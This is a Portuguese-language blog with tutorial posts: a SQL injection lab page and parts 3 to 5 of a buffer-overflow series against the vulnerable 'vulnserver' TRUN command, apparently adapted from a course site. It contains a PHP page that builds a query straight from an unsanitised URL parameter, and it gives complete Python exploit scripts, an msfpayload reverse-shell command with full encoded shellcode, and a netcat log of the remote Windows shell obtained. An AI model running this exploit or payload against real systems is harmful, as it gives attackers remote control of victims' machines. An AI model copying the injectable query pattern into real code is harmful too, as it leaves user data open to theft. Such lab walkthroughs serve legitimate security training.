quinta-feira, 22 de janeiro de 2015

SQL Injection - Injeção de SQL- TUTORIAL Completo Básico

Introdução
A Injeção de SQL, mais conhecida através do termo americano SQL Injection, é um tipo de ameaça de segurança que se aproveita de falhas em sistemas que interagem com bases de dados via SQL. A injeção de SQL ocorre quando o atacante consegue inserir uma série de instruções SQL dentro de uma consulta (query) através da manipulação das entradas de dados de uma aplicação. 
Fonte: Wikepédia


Requesitos
Um Servidor Linux ou "Windows com o Xampp"
O Linux com apache2 instalado e o MySQL, também com o phpMyadmin
O Windows com o Xampp, Xampp já vem com tudo comfigurado
Um editor de texto, como exemplo bloco de nota && notepad++ && sublime
ou o netbeans, eu prefiro o netbeans.

Criando uma Pagina
Primeiro, navegue ate a pasta /var/www/, abra o terminal e digite:
$ cd /var/www 
Agora crie uma pasta, comando:
$ /var/www# mkdir pagetest
Listar diretorio
$ /var/www# ls -lAh
drwxr-xr-x  2 root root 4.0K Jan 19 23:26 pagetest
Em seguida alterei as permissões, comando:
$ /var/www# chmod 777 pagetest -R
Liste mais uma vez o diretorio isso não é obrigatorio
$ /var/www# ls -lAh
drwxrwxrwx  2 root root 4.0K Jan 19 23:26 pagetest
Agora Vamos criar um arquivo de configuração, para fazer a conexão como o servido mysql, para acender um banco de dados. No terminal digite: para entra dentro da pasta onde vamos trabalhar
$ /var/www# cd pagetest/
Agora digite:
$ /var/www/pagetest# nano config.php
No editor copie ou escreva essas linhas e salve o arquivo;
<?php
# " localhost " endereço do banco esse ira ficar assim mesmo pois vc vai esta localmente
# " root " usuario do banco
# " dmyka1728 " senha do banco
# " dbtest " nome do banco
# Subistitua isso pelo seus dados
mysql_connect("localhost","root","dmyka1728");
mysql_select_db("dbtest");
Agora vamos criar a nossa index principal, lembrando, não irei estiliza com CSS , comando digite:
$ /var/www/pagetest# nano index.php
No editor copie ou escreva essas linhas e salve o arquivo;
<?php
include "config.php"; #Incluir o nosso arquivo de configuração com o banco
?>
<html>
<head>
<title>Index-Test</title>
</head>
<body>
Visualizar Dados <a href="index.php?id=1">Ver</a></br></br>
 <?php
  $id = $_GET['id'];
  $sqlquery = "SELECT * FROM infousers WHERE id='$id'";
  $execute = mysql_query($sqlquery);
   while ($row = mysql_fetch_array($execute)){
    echo "
    <b>Name:</b> $row[1]</br>
    <b>Fone:</b> $row[2]</br>
    <b>Data:</b> $row[3]</br>
    <b>CPF:</b>  $row[4]</br></br>";
   }
 ?>
</body>
</html>
Logando no phpMyAdmin
Agora  iremos logar no phpmyadmin pra poder criar o banco e tabelas e inserir os dados para nossos testes.
Abra o seu navegador de preferencial, navegue até o enderço http://localhost/phpmyadmin - logger com seus dados - em user do mysql e pass do mysql, como mostra a imagem abaixo:

video:
Read More

Buffer Overflow | Devenlop Exploit Parte 5

Instalando MONA
eushuehsuehsuehs a palavra mona aqui na minha cidade é coisa de viadagem. euhsuehsuehsushue

deixando de conversa fiada: MONA é um módulo python que dá ao Immunity a capacidade de listar os módulos e assim procurar por eles. Ver mais sobre o mona aqui, Download Aqui
Baixe e estraia para onde quizer, e esse onde quizer copie o arquivo mona.py para: C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands

Agora na máquina windows, como vc ja reiciou antes o servidor e o ja execultou. Vamos listar

Listando os Módulos com Mona
No Immunity, na parte inferior, há uma barra branca. Clique nesse barra e digite este comando, seguido da tecla Enter: !mona modules

Para muda o tamanho da fonte para melhor leitura kica ai em qualquer lugar com o botão direito do mouse em Appearance, Font, "OEM Fixed Font, como mostrado abaixo.


Atente-se no gráfico na parte inferior, como mostrado abaixo.


Este gráfico mostra todos os módulos carregados como parte do servidor vulnerável, e várias propriedades importantes para cada um.
A propriedade de maior importância para nós agora é ASLR, que faz com que o endereço do módulo variar  para cada vez que ele é reiniciado.
Outra propriedade que pode causar problemas é "Rebase", que se muda um módulo se outro módulo já está carregado na memória em sua localização preferencial.
Para explorar o de manira mais confiável , queremos usar um módulo sem ASLR ou Rebase.
Existem dois módulos com "False" em ambas as colunas REBASE e ASLR: e essfunc.dll do vulnserver.exe.
No entanto, observe os valores do endereço à esquerda do gráfico - vulnserver.exe é muito carregado no endereço de valores baixos, começando com 0x00, portanto, qualquer referência a endereços dentro vulnserver.exe exigirá um byte nulo, e que não vai funcionar porque '\ x00' é um mau caráter. Assim, o único módulo utilizável é essfunc.dll.

Encontrar códigos hexadecimais para instrução Útil
Agora olhando para a máquina Kali Linux
O kali contém um utilitário prático para a conversão de linguagem assembly para códigos hexadecimais.
No terminal, digite  o comando: locate nasm_shell
O utilitário está localizado em um diretório do Metasploit, como mostrado abaixo.

root@kali:~# locate nasm_shell
/usr/share/metasploit-framework/tools/nasm_shell.rb
root@kali:~#

Copie e cole o caminho completo do utilitário para executá-lo. "Aqui no meu pc demora uns 10s para iniciar o nasm"
Uma vez iniciado o nasm, digite o tipo JMP ESP e pressione Enter para convertê-lo em código hexadecimal, como mostrado abaixo.

Em seguida, digite POP ESP e pressione Enter.
Em seguida, digite RET e pressione Enter.
Em seguida, digite exit e pressione Enter

root@kali:~# /usr/share/metasploit-framework/tools/nasm_shell.rb
nasm > JMP ESP
00000000  FFE4              jmp esp
nasm > POP ESP
00000000  5C                pop esp
nasm > RET
00000000  C3                ret
nasm > EXIT
root@kali:~#

O código hexadecimal para a instrução "JMP ESP" é FFE4.
O código hexadecimal para a sequência das duas instrução "POP ESP; RET" é 5CC3.
Se agente encontrar qualquer uma dessas seqüências de bytes em essfunc.dll, podemos usá-los para executar o nosso exploite reverso.

Encontrar JMP ESP com MONA

Olhando lá na máquina ruiwndows, no immunity, lá em baixo na barra branca digite esse cumando: !mona find -s "\xff\xe4" -m essfunc.dll

siliga bixo doido \xff\xe4 é = FFE4 do JMP ESP q nois localizamo lá em riba ou aqui  isso é matutez

Estamos procura o módulo de essfunc.dll para os bytes FFE4.
9 locais foram encontrados com esses conteúdos, como mostrado abaixo.

E vamos usar o primeiro da fila:
0x625011af = 625011af

Reiciando o servidor  no Immunity
No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente.
E depois rode o servidor clicando em RUN


Execução do código e Testando
Agora vamos enviar um ataque que coloca o endereço JMP ESP (625011af) na EIP.
Isso vai iniciar a execução do código no local apontado do ESP .
Só para testá-lo, vamos colocar algumas instruções lá no NOP  ('\ x90' = Sem Operação - eles não fazem nada) seguido de um '\ xCC'  na instrução INT 3 , que irá interromper o processamento.
O NOP pode parecer sem importância, mas ela é necessário para dar espaço para descompactar o código dp Matasploit e agente vai fazer isso mais tarde. Se isso funcionar, o programa irá parar na instrução de '\ xCC'.

Agora na máquina kali linux, no terminal digite o comando: nano eip-exploit-3

root@kali:~# nano eip-exploit-3

Na tela do nano digite ou cole o codigo: nao esqueça de colocar seu ip do seu window

GNU nano 2.2.6                                              File: eip-exploit-3                                                              Modified  
#!/usr/bin/python
import socket
server = '192.168.1.162'
sport = 9999

prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
brk = '\xcc'
padding = 'F' * (3000 - 2006 - 4 - 16 - 1)
attack = prefix + eip + nopsled + brk + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Enviando o ataque para TRUN, tamanho de: ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

agora vc execultar o srcipt, comando, python eip-exploit-3

root@kali:~# python eip-exploit-3
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack to TRUN . with length  3000

Agora olhando na maquinda do windows, no canto inferior esquerdo da janela do Immunity agora diz "comandoINT 3", como mostrado abaixo.


Agora indo no painel Registers do Immunity, clique com o botão esquerdo no valor à direita do ESP, por isso é destacado em azul, como mostrado abaixo.
Em seguida, clique com o valor realçado e clique em "Follow in Dump"



Olhando no painel inferior esquerdo mostra o NOP como uma série de 90 bytes, seguido por um byte de CC.
Isso está funcionando! Agora nos somos capazes de injetar um código e executá-lo.

Reiciando o servidor  no Immunity
No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente.
E depois rode o servidor clicando em RUN


Preparando o exploit no paython  para o nosso ataque

Agora olhando para a máquina Kali Linu, no terminal vc digita o comando: nano shell-exploit

root@kali:~# nano shell-exploit

Na tela do nano digite ou cole o codigo:


 GNU nano 2.2.6                                            File: shell-exploit                                                              Modified  
#!/usr/bin/python
import socket
server = '192.168.1.162'
sport = 9999

prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
exploit = (

)
padding = 'F' * (3000 - 2006 - 4 - 16 - len(exploit))
attack = prefix + eip + nopsled + exploit + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Enviando o ataque para TRUN, tamanho de: ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
^G Get Help            ^O WriteOut               ^R Read File                 ^Y Prev Page                         ^K Cut Text ........
^X Exit                    ^J   Justify                      ^W Where Is                ^V Next Page                       ^U Uncut Text ...
 Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

Este script estabelece o nosso exploit, mas no momento o código do exploit está faltando. Mas vamos faz isso agora no msfconsole ;)

No teu cali linux, abre ai o terminal e digita ifconfig, pra tu ver qual é o ip da tua maquina kali, ai agora tu digita:

msfpayload windows/shell_reverse_tcp LHOST="192.168.1.160" LPORT=443 EXITFUNC=thread R | msfencode -b '\x00'
"
Só uma dica ai minha, coisa pessoal mesmo, se teu kali linux tever atualizado, pelo meno aki no meu é tá claro, eu atualizo ele toda semana, o codigo do exploit nao funciona, agora pq eu nao sei, nao quero sabe e tenho raia de quem sabe entao eu tenho um dvd gravado com o kali em versão 32bit, eu nao sei bem se é por causa do upadate, eu nao sei mesmo mais ai vc tenta, vou deixar uns descrições referente ao OS
 ";
A máquina que execultei o comando:
root@kali:~# uname -a
Linux kali 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686 GNU/Linux
root@kali:~#

Então o shell code funcionou nela;

E na minha maquina minha;

root@kali:~# uname -a
Linux kali 3.14-kali1-amd64 #1 SMP Debian 3.14.5-1kali1 (2014-06-07) x86_64 GNU/Linux
root@kali:~# Não funciona a shell code, blz voltando aqui pro assunto de gerar a shell code;

Na sua maquina kali linux vc vai execultar o comando, nao esqueça de trocar o ip pelo o ip do seu kali; comando


root@kali:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.160 LPORT=4444 EXITFUNC=thread R | msfencode -b '\x00'


Esse comando faz o nosso exploit da conexão reversa com a maquina de destino, no caso o Windows e vai volta para o Kali Linux na porta 4444 e assim iremos obter o console do servido windows em um novo terminal no kali, ja falo nele. A magica é codificado para evitar bytes nulos. porque '\ x00' é um caráter ruim.

Esse é o resultado obtido:


root@kali:~# uname -a
Linux kali 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686 GNU/Linux
root@kali:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.160 LPORT=4444 EXITFUNC=thread R | msfencode -b '\x00'
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

buf =
"\xba\x6c\x55\x8c\xa0\xdb\xd3\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x4f\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x8e\xa0\x70" +
"\x48\xc7\x4b\x89\x89\xb7\xc2\x6c\xb8\xe5\xb1\xe5\xe9\x39" +
"\xb1\xa8\x01\xb2\x97\x58\x91\xb6\x3f\x6e\x12\x7c\x66\x41" +
"\xa3\xb1\xa6\x0d\x67\xd0\x5a\x4c\xb4\x32\x62\x9f\xc9\x33" +
"\xa3\xc2\x22\x61\x7c\x88\x91\x95\x09\xcc\x29\x94\xdd\x5a" +
"\x11\xee\x58\x9c\xe6\x44\x62\xcd\x57\xd3\x2c\xf5\xdc\xbb" +
"\x8c\x04\x30\xd8\xf1\x4f\x3d\x2a\x81\x51\x97\x63\x6a\x60" +
"\xd7\x2f\x55\x4c\xda\x2e\x91\x6b\x05\x45\xe9\x8f\xb8\x5d" +
"\x2a\xed\x66\xe8\xaf\x55\xec\x4a\x14\x67\x21\x0c\xdf\x6b" +
"\x8e\x5b\x87\x6f\x11\x88\xb3\x94\x9a\x2f\x14\x1d\xd8\x0b" +
"\xb0\x45\xba\x32\xe1\x23\x6d\x4b\xf1\x8c\xd2\xe9\x79\x3e" +
"\x06\x8b\x23\x57\xeb\xa1\xdb\xa7\x63\xb2\xa8\x95\x2c\x68" +
"\x27\x96\xa5\xb6\xb0\xd9\x9f\x0e\x2e\x24\x20\x6e\x66\xe3" +
"\x74\x3e\x10\xc2\xf4\xd5\xe0\xeb\x20\x79\xb1\x43\x9b\x39" +
"\x61\x24\x4b\xd1\x6b\xab\xb4\xc1\x93\x61\xc3\xc6\x04\x4a" +
"\x7c\xc9\x74\x22\x7f\xc9\x65\xef\xf6\x2f\xef\x1f\x5f\xf8" +
"\x98\x86\xfa\x72\x38\x46\xd1\x12\xd9\xd5\xbe\xe2\x94\xc5" +
"\x68\xb5\xf1\x38\x61\x53\xec\x63\xdb\x41\xed\xf2\x24\xc1" +
"\x2a\xc7\xab\xc8\xbf\x73\x88\xda\x79\x7b\x94\x8e\xd5\x2a" +
"\x42\x78\x90\x84\x24\xd2\x4a\x7a\xef\xb2\x0b\xb0\x30\xc4" +
"\x13\x9d\xc6\x28\xa5\x48\x9f\x57\x0a\x1d\x17\x20\x76\xbd" +
"\xd8\xfb\x32\xdd\x3a\x29\x4f\x76\xe3\xb8\xf2\x1b\x14\x17" +
"\x30\x22\x97\x9d\xc9\xd1\x87\xd4\xcc\x9e\x0f\x05\xbd\x8f" +
"\xe5\x29\x12\xaf\x2f"

root@kali:~#

Eu deixei ai bem destacado o código do exploit para vc copiar ai o seu, dai vc copia o q foi destagado, claro nao é pra copiar o meu aki desse tuti, vc sabe do q tou falndo.

Bom copiado o código, vc agora vai abrir aquele script q fiemos antes o shell-exploit e entre os parenteses ( ) vc cola o código do nosso explorador ficando assim:


  GNU nano 2.2.6                                            File: shell-exploit                                                            Modified  
#!/usr/bin/python
import socket
server = '192.168.1.162'
sport = 9999

prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
exploit = (
"\xba\x6c\x55\x8c\xa0\xdb\xd3\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x4f\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x8e\xa0\x70" +
"\x48\xc7\x4b\x89\x89\xb7\xc2\x6c\xb8\xe5\xb1\xe5\xe9\x39" +
"\xb1\xa8\x01\xb2\x97\x58\x91\xb6\x3f\x6e\x12\x7c\x66\x41" +
"\xa3\xb1\xa6\x0d\x67\xd0\x5a\x4c\xb4\x32\x62\x9f\xc9\x33" +
"\xa3\xc2\x22\x61\x7c\x88\x91\x95\x09\xcc\x29\x94\xdd\x5a" +
"\x11\xee\x58\x9c\xe6\x44\x62\xcd\x57\xd3\x2c\xf5\xdc\xbb" +
"\x8c\x04\x30\xd8\xf1\x4f\x3d\x2a\x81\x51\x97\x63\x6a\x60" +
"\xd7\x2f\x55\x4c\xda\x2e\x91\x6b\x05\x45\xe9\x8f\xb8\x5d" +
"\x2a\xed\x66\xe8\xaf\x55\xec\x4a\x14\x67\x21\x0c\xdf\x6b" +
"\x8e\x5b\x87\x6f\x11\x88\xb3\x94\x9a\x2f\x14\x1d\xd8\x0b" +
"\xb0\x45\xba\x32\xe1\x23\x6d\x4b\xf1\x8c\xd2\xe9\x79\x3e" +
"\x06\x8b\x23\x57\xeb\xa1\xdb\xa7\x63\xb2\xa8\x95\x2c\x68" +
"\x27\x96\xa5\xb6\xb0\xd9\x9f\x0e\x2e\x24\x20\x6e\x66\xe3" +
"\x74\x3e\x10\xc2\xf4\xd5\xe0\xeb\x20\x79\xb1\x43\x9b\x39" +
"\x61\x24\x4b\xd1\x6b\xab\xb4\xc1\x93\x61\xc3\xc6\x04\x4a" +
"\x7c\xc9\x74\x22\x7f\xc9\x65\xef\xf6\x2f\xef\x1f\x5f\xf8" +
"\x98\x86\xfa\x72\x38\x46\xd1\x12\xd9\xd5\xbe\xe2\x94\xc5" +
"\x68\xb5\xf1\x38\x61\x53\xec\x63\xdb\x41\xed\xf2\x24\xc1" +
"\x2a\xc7\xab\xc8\xbf\x73\x88\xda\x79\x7b\x94\x8e\xd5\x2a" +
"\x42\x78\x90\x84\x24\xd2\x4a\x7a\xef\xb2\x0b\xb0\x30\xc4" +
"\x13\x9d\xc6\x28\xa5\x48\x9f\x57\x0a\x1d\x17\x20\x76\xbd" +
"\xd8\xfb\x32\xdd\x3a\x29\x4f\x76\xe3\xb8\xf2\x1b\x14\x17" +
"\x30\x22\x97\x9d\xc9\xd1\x87\xd4\xcc\x9e\x0f\x05\xbd\x8f" +
"\xe5\x29\x12\xaf\x2f"
)
padding = 'F' * (3000 - 2006 - 4 - 16 - len(exploit))
attack = prefix + eip + nopsled + exploit + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack to TRUN . with length ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
^G Get Help            ^O WriteOut               ^R Read File                 ^Y Prev Page                         ^K Cut Text ........
^X Exit                    ^J   Justify                      ^W Where Is                ^V Next Page                       ^U Uncut Text ... 
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER

Agora com o srcipt completado com o código do nosso explorador q vai nos da acerro remoto, dai no seu kali vc abre um outro terminal e execulte o comando: nc -lvp 4444 isso vai deixar seu kali no modo de exculta na porta 4444, e na outra tela vc execulta o shell-exploit, lembrando nao vai esquecer o servidor lá no windows deligado, claro obvio q ele tem q ta rodando.

agora vc execultou os comando, vc vera algo mais ou menos assim:

Terminal 1 Rodando o NC:


root@kali:~# nc -lvp 4444
listening on [any] 4444 ...

Terminal 2 Execultando o Script

root@kali:~# python shell-exploit
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack to TRUN . with length  3000

TUDO AGORA

Terminal 1 NC  --- Conexão bem estabelicida
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.1.162: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.1.160] from (UNKNOWN) [192.168.1.162] 1058
Microsoft Windows XP [vers�o 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\servidor>

Terminal 2 Script
 Eu apertei o Ctrl + C pra finaliza mais la no NC eu continuo com o acesso remoto, onde eu vou me divertir um pouco,
root@kali:~# python shell-exploit
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack to TRUN . with length  3000
^CTraceback (most recent call last):
  File "shell-exploit", line 44, in <module>
    print s.recv(1024)
KeyboardInterrupt
root@kali:~# 

Você olhando la no windows no Immunity na parte do Registers, mirando bem no ESP q vais esta destado em azul, vc clicando com o botão direito no numero e follow dump, dai vc olha pro ANCII vc pode ver algumas coisas da shell code;




Video Aqui


FONTE ORIGINAL: https://samsclass.info/127/proj/vuln-server.htm

Read More

Buffer Overflow | Devenlop Exploit Parte 4

Examinando a Memória do ESP
Ainda com o script e o Immunity em execulção.
Vamos ver o que foi para no local apontado por ESP.
Indo no painel Registers do Immunity, clique com o botão esquerdo no valor à direita do ESP, por isso está destacado em azul, como mostrado abaixo.
Em seguida, clique com no valor realçado do menu de contexto, e clique em "Follow in Dump"


Procure no painel inferior esquerdo do Immunity lá em HEX DUMP e olhando para o ASCII. Está cheio de caracteres 'F' que colocamos no final do texto do exploit. Isso vai ser muito importante para nois mais tarde, Nós vamos coloca o nosso código de exploração aqui. como mostra abaixo na imgem:



Reiciando o servidor  no Immunity
No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, como mostrado abaixo. e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente.
E depois rode o servidor clicando em RUN


O problema de maus caracteres

Este exploit depende de enganar o programa através da inserção deo código em uma estrutura de dados que não tinha a intenção de manter o código - que é outra coisa, como um nome de diretório.
Apenas a partir do senso comum, pode-se esperar que esses caracteres causa problemas:

Hex    Dec   Description
---  ---  ---------------------------------------------
0x00   0       Byte nulo , termina uma string C
0x0A  10      Nova Linha , pode encerrar uma linha de comando
0x0D  13     Procedimento de Retorno, pode encerrar uma linha de comando
0x20   32     Spaço, pode encerrar um argumento de linha de comando

Nem todos esses caracteres são sempre ruim, e pode ter também outros caracteres ruins. Portanto, a próxima tarefa é tentar injetá-los e ver o que acontece.

Testando os maus caracteres
Na máquina Kali Linux, no terminal, execute o comando:

root@kali:~# nano bad-char1

Na janelado nano , digite ou cole este código. não esqueça de trocar pelo seu IP

GNU nano 2.2.6                                                           File: bad-char1                                                           Modified  
#!/usr/bin/python
import socket
server = '192.1.1.162'
sport = 9999

prefix = 'A' * 2006
eip = 'BCDE'
testchars = ''
for i in range(0, 256):
    testchars += chr(i)
padding = 'F' * (3000 - 2006 - 4 - len(testchars))
attack = prefix + eip + testchars + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Enviando o ataque para TRUN, tamnho de: ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
^G Get Help            ^O WriteOut               ^R Read File                 ^Y Prev Page                         ^K Cut Text ........
^X Exit                    ^J   Justify                      ^W Where Is                ^V Next Page                       ^U Uncut Text ...

Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

Este script irá enviar um ataque de 3000 bytes para o servidor, que consiste de 2006 caracteres 'A'  seguido por 'BCDE ", eles devem acabar no EIP, e em seguida, todos os  possíveis 256 caracteres e, finalmente, eos caracteres ' F ' para fazer do total 3000 bytes de comprimento.

Em seguida, você precisa executável o script . Para isso, no Kali Linux, no terminal, execute o comando:  python bad-char

root@kali:~# python bad-char1
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack to TRUN . with length  3000

Olhando para a máquina windows, no canto esquerdo inferior  da janela do Immunity novamente diz "Violação de acesso ao executar [45444342]".

No painel direito superior da Immunity, cliquecom o botão esquerdo no valor à direita de ESP, por isso é destacada em azul, como mostrado abaixo.
Em seguida, clique no valor realçado e clique em: "Follow in Dump". 



Procure no painel esquerdo inferior do Immunity. O primeiro byte é 00, mas nenhum dos outros caracteres fez isso na memória, e os outros 255 bytes ou caracteres 'F'. Isso aconteceu porque o byte 00 finalizou a string. '\ X00' e é um caractere ruim.


Reiciando o servidor  no Immunity
No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, como mostrado abaixo. e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente.
E depois rode o servidor clicando em RUN


Testando novamente os maus Cracteres
Na máquina Kali Linux, no terminal, execute o comando:

root@kali:~# nano bad-char2

Na janelado nano , digite ou cole este código. não esqueça de trocar pelo seu IP

GNU nano 2.2.6                                                           File: bad-char2                                                           Modified  
#!/usr/bin/python
import socket
server = '192.168.1.162'
sport = 9999
prefix = 'A' * 2006
eip = 'BCDE'
testchars = ''
for i in range(1, 256):
    testchars += chr(i)
padding = 'F' * (3000 - 2006 - 4 - len(testchars))
attack = prefix + eip + testchars + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Enviando o ataque para TRUN, tamnho de ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
^G Get Help            ^O WriteOut               ^R Read File                 ^Y Prev Page                         ^K Cut Text ........
^X Exit                    ^J   Justify                      ^W Where Is                ^V Next Page                       ^U Uncut Text ...
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

Este script ignora o byte nulo, e inclui todas as outras 255 bytes na seqüência de ataque, antes do caractere do 'F'.

Em seguida, você precisa executável o script . Para isso, no Kali Linux, no terminal, execute o comando:  python bad-char2

root@kali:~# python bad-char2
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack to TRUN . with length  3000

Olhando para a máquina windows, no painel direito superior da Immunity, clique com o botão esquerdo no valor à direita do ESP, por isso está destacada em azul. Em seguida, clique com o valor realçado e clique em "Follow in Dump".



Procure no painel inferior esquerdo do Immunity.
Todos os bytes de 01 a FF aparecem em ordem, seguido por caracteres 'F' (46 em hexadecimal). Não há outros bytes ruins, apenas '\ x00'.


Reiciando o servidor  no Immunity
No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, como mostrado abaixo. e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente.
E depois rode o servidor clicando em RUN


Encontrar Código Útil em Assembly

Nós temos o controle sobre o EIP, para que possamos apontar para qualquer código que desejamos.executável.  O que precisamos fazer é encontrar uma maneira de executar os bytes no local de ESP.
Há duas instruções simples que irá execultar: "JMP ESP" e a sequência de duas instrução "PUSH ESP; RET".
Para encontrar essas instruções, precisamos analizar os módulos carregados quando servidor vulnerável está em execução

Instalando MONA

Parte 5 Aqui
Read More

Buffer Overflow | Devenlop Exploit Parte 3

Criando um padrão de caracteres não-repetido
Sabemos que quatro dos caracteres 'A' acabou no EIP, mas quais?
Para descobrir isso, vamos usar um padrão de caracteres não-repetido.
Na máquina Kali Linux, em uma janela do terminal, execute o comando:


root@kali:~# nano eip4

Na janela do nano copie ou cole esse código;

GNU nano 2.2.6                                                               File: fuzz                                                                Modified  
#!/usr/bin/python
chars = ''
for i in range(0x30, 0x35):
    for j in range(0x30, 0x3A):
        for k in range(0x30, 0x3A):
            chars += chr(i) + chr(j) + chr(k) + 'A'
print chars
^G Get Help            ^O WriteOut               ^R Read File                 ^Y Prev Page                         ^K Cut Text ........
^X Exit                    ^J   Justify                      ^W Where Is                ^V Next Page                       ^U Uncut Text ...

Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

Esse script em Python cria um padrão simples de sequências de quatro bytes e imprime para que você possa vê na tela.
Agora vamos execultar o Script, comando: python eip4

Como você pode ver, o padrão é simples - um número de três dígitos seguido por 'A'. Se eu adicionar espaços para maior clareza, o padrão é assim:     
      
 000A 001A 002A 003A 004A
              ...
250A 251A 252A 253A 254A
              ...
495A 496A 497A 498A 499A

Há 500 grupos de quatro caracteres, de 000A a 499A, para um total de 2.000 bytes. 

Enviando o Padrão não repetidos para o Servidor
Na máquina Kali Linux, no terminal, execute o comando:

root@kali:~# nano eip-exploit

Na janela do nano copie ou cole esse código: Nao esqueça de trocar pelo ip do seu servidor

GNU nano 2.2.6                                                File: eip-exploit                                                               Modified  
#!/usr/bin/python
import socket
server = '192.168.1.162'
sport = 9999
prefix = 'A' * 1000
chars = ''
for i in range(0x30, 0x35):
    for j in range(0x30, 0x3A):
        for k in range(0x30, 0x3A):
            chars += chr(i) + chr(j) + chr(k) + 'A'
attack = prefix + chars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Enviando o ataque para TRUN, com o tamanho de: ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
^G Get Help            ^O WriteOut               ^R Read File                 ^Y Prev Page                         ^K Cut Text ........
^X Exit                    ^J   Justify                      ^W Where Is                ^V Next Page                       ^U Uncut Text ..

Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

Isto irá enviar um ataque de 3000 byte para o servidor, consistindo de 1000 caracteres 'A' seguidos pelo padrão de não-repetido de 2.000 bytes.

Agora na máquina do Kali Linux pecisamos execultar o script comando:

root@kali:~# python eip-exploit
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack to TRUN . with length  3000

Olhando na máquina Windows  você vê, no canto inferior esquerdo da janela do Immunity agora diz "Violação de acesso ao executar [35324131]", Também destaquei o EIP em Registers <FPU> como mostrado abaixo.

Vamos converter esse hex para charactere: 
 
Hex  Character
-------  ----------
 35      5
 32      2
 41      A
 31      1


Assim, os caracteres são '52A1'. No entanto, os processadores Intel são "Little Endian", pelo que os endereços são inseridos na ordem inversa, de modo que os caracteres reais que foram colocados no EIP foram '1A25'.
Esses bytes aparecem aqui: Você indo no menu do terminal no kali em Search -> Find ou Precionado Shift + Ctrl + F e digitando 1A25 vc encontrara.

Esses bytes aparecem aqui:


É esta parte da entrada de cadeia  (com espaços adicionado mais uma vez, para maior clareza) 


 000A 001A 002A 003A 004A
              ...
250A 251A 252A 253A 254A
              ...
495A 496A 497A 498A 499A

O padrão '1A25' ocorre após o campos 251 de quatro bytes + mais 2 bytes, ou 251 x 4 + 2 = 1004 + 2 = 1006 bytes.

Nosso ataque usado 1000 caracteres 'A' antes do padrão de não-repetido, por isso a EIP contém os quatro bytes após os primeiros 2.006 bytes do ataque.

Reiciando o servidor  no Immunity
No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente.
E depois rode o servidor clicando em RUN


Segmentação do EIP 
